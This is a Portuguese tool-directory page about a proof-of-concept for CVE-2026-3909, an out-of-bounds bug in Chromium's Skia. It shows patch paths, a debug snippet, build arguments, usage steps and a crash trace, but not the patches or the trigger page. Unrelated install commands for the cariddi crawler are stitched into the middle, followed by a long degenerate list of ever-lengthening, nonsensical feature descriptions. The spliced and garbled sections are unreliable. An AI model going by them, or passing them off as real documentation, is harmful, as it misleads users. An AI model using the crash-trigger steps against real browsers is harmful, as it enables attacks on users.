Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-3909 — Prova de conceito de exploit para CVE-2026-3909, uma vulnerabilidade de acesso fora dos limites no Skia do Chromium, com patches e análise de crash para acionamento confiável em ambientes de navegador reais. | Kitploit
Ferramentas/GitHubGitHub/jaf0rk/cve-2026-3909
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebFuzzingAnálise de Binários
GitHubjaf0rk/cve-2026-3909

CVE-2026-3909

Prova de conceito de exploit para CVE-2026-3909, uma vulnerabilidade de acesso fora dos limites no Skia do Chromium, com patches e análise de crash para acionamento confiável em ambientes de navegador reais.

Ver Repositório
26há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC do Navegador Chromium CVE-2026-3909

Este repositório contém uma prova de conceito (PoC) para CVE-2026-3909 que pode ser acionada de forma confiável no navegador Chromium.

Contexto

A correção oficial do Skia para esta vulnerabilidade incluiu apenas um caso de teste de demonstração simplificado:

  • Demonstração Oficial: AtlasOobTest.cpp

Ela não pode ser executada em um ambiente Chromium real. A demonstração oficial foi intencionalmente limitada e omitiu condições de acionamento essenciais.
Esta PoC é baseada na demonstração oficial e foi modificada para acionar a vulnerabilidade de forma confiável em um ambiente real do navegador Chromium.

Patches Incluídos

Esta PoC consiste em modificações nos seguintes arquivos:

1. raster_implementation.cc.patch

Caminho: <Diretório raiz do Chromium>/src/gpu/command_buffer/client/raster_implementation.cc

2.

SkChromeRemoteGlyphCache.cpp.patch

Caminho: <Diretório raiz do Chromium>/src/third_party/skia/src/text/gpu/SkChromeRemoteGlyphCache.cpp

3. Outros

Além dos dois arquivos de patch existentes, você também pode adicionar código de depuração dentro da função DrawAtlas::hasID(). Isso permite analisar e observar por que o abort está sendo acionado.``` bool hasID(const skgpu::PlotLocator& plotLocator) { if (!plotLocator.isValid()) { return false; }

root@kitploit:~
    uint32_t plot = plotLocator.plotIndex();
    uint32_t page = plotLocator.pageIndex();
    // patch code
    printf("[*] POC plot idx: %x fNumPlots: %x\n", plot, fNumPlots);
    // origin code
    uint64_t plotGeneration = fPages[page].fPlotArray[plot]->genID();
    uint64_t locatorGeneration = plotLocator.genID();
    return plot < fNumPlots && page < fNumActivePages && plotGeneration == locatorGeneration;
}
root@kitploit:~
```bash
# Instalação
go install github.com/edoardottt/cariddi/cmd/cariddi@latest
root@kitploit:~
# Instalação (com suporte a .onion)
go install -tags onion github.com/edoardottt/cariddi/cmd/cariddi@latest
root@kitploit:~
# Instalação (com suporte a .onion e segredos)
go install -tags "onion secrets" github.com/edoardottt/cariddi/cmd/cariddi@latest
root@kitploit:~
# Instalação (com suporte a segredos)
go install -tags secrets github.com/edoardottt/cariddi/cmd/cariddi@latest
root@kitploit:~
# Instalação (com suporte a segredos e extensões)
go install -tags "secrets extensions" github.com/edoardottt/cariddi/cmd/cariddi@latest
root@kitploit:~
# Instalação (com suporte a extensões)
go install -tags extensions github.com/edoardottt/cariddi/cmd/cariddi@latest
root@kitploit:~
# Instalação (com suporte a .onion e extensões)
go install -tags "onion extensions" github.com/edoardottt/cariddi/cmd/cariddi@latest
root@kitploit:~
# Instalação (com suporte a .onion, segredos e extensões)
go install -tags "onion secrets extensions" github.com/edoardottt/cariddi/cmd/cariddi@latest

As instruções acima instalarão o binário cariddi no seu $GOPATH/bin. Para verificar se tudo está funcionando corretamente, execute cariddi -h.

NOTA: Para usar o suporte a .onion, você precisa ter o Tor em execução na sua máquina. Você pode instalá-lo aqui.

Docker

root@kitploit:~
# Instalação
docker pull edoardottt/cariddi
root@kitploit:~
# Uso
docker run -it --rm edoardottt/cariddi -h

Binários

Você pode baixar os binários pré-compilados aqui.

Começando

cariddi pode:

  • Coletar endpoints.
  • Coletar extensões.
  • Coletar segredos.
  • Coletar parâmetros.
  • Coletar erros.
  • Coletar informações.
  • Coletar URLs.
  • Coletar e-mails.
  • Coletar IPs.
  • Coletar domínios.
  • Coletar arquivos.
  • Coletar bandeiras.
  • Coletar strings personalizadas.
  • Coletar strings de interesse.
  • Coletar strings de interesse com regex.
  • Coletar strings de interesse com regex e substituição.
  • Coletar strings de interesse com regex e substituição e saída.
  • Coletar strings de interesse com regex e substituição e saída e ignorar.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos e excluir-nulos.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos e excluir-nulos e excluir-outros.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos e excluir-nulos e excluir-outros e excluir-tudo.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos e excluir-nulos e excluir-outros e excluir-tudo e excluir-nada.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos e excluir-nulos e excluir-outros e excluir-tudo e excluir-nada e excluir-vazio.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos e excluir-nulos e excluir-outros e excluir-tudo e excluir-nada e excluir-vazio e excluir-branco.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos e excluir-nulos e excluir-outros e excluir-tudo e excluir-nada e excluir-vazio e excluir-branco e excluir-não-branco.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos e excluir-nulos e excluir-outros e excluir-tudo e excluir-nada e excluir-vazio e excluir-branco e excluir-não-branco e excluir-printáveis.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos e excluir-nulos e excluir-outros e excluir-tudo e excluir-nada e excluir-vazio e excluir-branco e excluir-não-branco e excluir-printáveis e excluir-não-printáveis.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos e excluir-nulos e excluir-outros e excluir-tudo e excluir-nada e excluir-vazio e excluir-branco e excluir-não-branco e excluir-printáveis e excluir-não-printáveis e excluir-ascii.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos e excluir-nulos e excluir-outros e excluir-tudo e excluir-nada e excluir-vazio e excluir-branco e excluir-não-branco e excluir-printáveis e excluir-não-printáveis e excluir-ascii e excluir-não-ascii.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos e excluir-nulos e excluir-outros e excluir-tudo e excluir-nada e excluir-vazio e excluir-branco e excluir-não-branco e excluir-printáveis e excluir-não-printáveis e excluir-ascii e excluir-não-ascii e excluir-utf8.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos e excluir-nulos e excluir-outros e excluir-tudo e excluir-nada e excluir-vazio e excluir-branco e excluir-não-branco e excluir-printáveis e excluir-não-printáveis e excluir-ascii e excluir-não-ascii e excluir-utf8 e excluir-não-utf8.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos e excluir-nulos e excluir-outros e excluir-tudo e excluir-nada e excluir-vazio e excluir-branco e excluir-não-branco e excluir-printáveis e excluir-não-printáveis e excluir-ascii e excluir-não-ascii e excluir-utf8 e excluir-não-utf8 e excluir-binário.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos e excluir-nulos e excluir-outros e excluir-tudo e excluir-nada e excluir-vazio e excluir-branco e excluir-não-branco e excluir-printáveis e excluir-não-printáveis e excluir-ascii e excluir-não-ascii e excluir-utf8 e excluir-não-utf8 e excluir-binário e excluir-texto.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e profundidade e intensivo e raramente e silencioso e proxy e agente de usuário e cookies e cabeçalhos e ignorar e excluir e incluir e excluir-extensões e excluir-tlds e excluir-códigos e excluir-tamanhos e excluir-palavras e excluir-regex e excluir-status e excluir-tipos e excluir-conteúdos e excluir-comprimentos e excluir-linhas e excluir-colunas e excluir-células e excluir-linhas-vazias e excluir-comentários e excluir-espaços e excluir-tabs e excluir-novas-linhas e excluir-retornos e excluir-nulos e excluir-outros e excluir-tudo e excluir-nada e excluir-vazio e excluir-branco e excluir-não-branco e excluir-printáveis e excluir-não-printáveis e excluir-ascii e excluir-não-ascii e excluir-utf8 e excluir-não-utf8 e excluir-binário e excluir-texto e excluir-imagem.
  • Coletar strings de interesse com regex e substituição e saída e ignorar e classificar e remover duplicatas e limitar e atrasar e tempo limite e simultaneidade e``` [*] POC plot idx: 1f fNumPlots: 10
root@kitploit:~
## Git log
Chromium:```
commit e00a64ead1abef9447943efede7bc26362ac3797 (HEAD -> 146.0.7680.71, tag: 146.0.7680.71)
Author: Roger McFarlane <[email protected]>
Date:   Mon Mar 9 12:52:01 2026 -0700

    [M146-desktop-respin] Make LimitedLayerEntropyCostTracker time-aware.
    
    This change modifies the LimitedLayerEntropyCostTracker to account for
    the entropy cost of studies that are active at a specific evaluation
    time. The evaluation time is passed to the tracker's constructor and is
    used to check against the study's filter dates and Google web visibility
    dates.
    
    The current time for entropy evaluation is sourced from
    VariationsIdsProvider.
    
    (cherry picked from commit 2ec2c50b47686def251947a2675a207863803cac)
    
    Bug: 490248046, 490432663
    Change-Id: I3174730f35b037d533bf10b2b1d0531e3781acfe
    Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7639358
    Reviewed-by: Alexei Svitkine <[email protected]>
    Commit-Queue: Alexei Svitkine <[email protected]>
    Cr-Original-Commit-Position: refs/heads/main@{#1595543}
    Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7637760
    Bot-Commit: Rubber Stamper <[email protected]>
    Cr-Commit-Position: refs/branch-heads/7680_65@{#23}
    Cr-Branched-From: efe36a9d42443b4091a5be1be21e93ceff9b7a5e-refs/branch-heads/7680@{#1898}
    Cr-Branched-From: 76b7d80e5cda23fe6537eed26d68c92e995c7f39-refs/heads/main@{#1582197}

Argumentos de build```

Set build arguments here. See gn help buildargs.

is_official_build = false is_debug = true
symbol_level = 2 v8_symbol_level = 2 blink_symbol_level = 2 is_component_build = false
proprietary_codecs = true
ffmpeg_branding = "Chrome"
v8_enable_sandbox = true dcheck_always_on = true optimize_webui = true target_os = "linux" target_cpu = "x64"

root@kitploit:~
## Utilização

1. Aplique os dois ficheiros de patch a uma versão vulnerável do Chromium.
2. Abra o navegador `chrome <caminho>/trigger.html`

## Abortar```
gen/third_party/libc++/src/include/__memory/unique_ptr.h:578: libc++ Hardening assertion __checker_.__in_bounds<deleter_type>(std::__to_address(__ptr_), __i) failed: unique_ptr<T[]>::operator[](https://github.com/jaf0rk/cve-2026-3909/blob/main/index): index out of range
Received signal 6

#0 0x5ee6abc4b669 base::debug::CollectStackTrace() [../../base/debug/stack_trace_posix.cc:1048:7]
#1 0x5ee6abc1674a base::debug::StackTrace::StackTrace() [../../base/debug/stack_trace.cc:280:20]
#2 0x5ee6abc166b5 base::debug::StackTrace::StackTrace() [../../base/debug/stack_trace.cc:275:28]
#3 0x5ee6abc4aed9 base::debug::(anonymous namespace)::StackDumpSignalHandler() [../../base/debug/stack_trace_posix.cc:483:3]
#4 0x79f1d4a45330 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x4532f)
#5 0x79f1d4a9eb2c pthread_kill
#6 0x79f1d4a4527e gsignal
#7 0x79f1d4a288ff abort
#8 0x5ee6c330842e std::__Cr::__libcpp_verbose_abort()
#9 0x5ee69655008d std::__Cr::unique_ptr<>::operator[]() [gen/third_party/libc++/src/include/__memory/unique_ptr.h:577:5]
#10 0x5ee6ad4ed963 GrDrawOpAtlas::hasID() [../../third_party/skia/src/gpu/ganesh/GrDrawOpAtlas.h:130:35]
#11 0x5ee6ad577e0b GrAtlasManager::hasGlyph() [../../third_party/skia/src/gpu/ganesh/text/GrAtlasManager.cpp:54:36]        // Abort in here
#12 0x5ee6ad5790b7 sktext::gpu::GlyphVector::regenerateAtlasForGanesh() [../../third_party/skia/src/gpu/ganesh/text/GrAtlasManager.cpp:320:32]
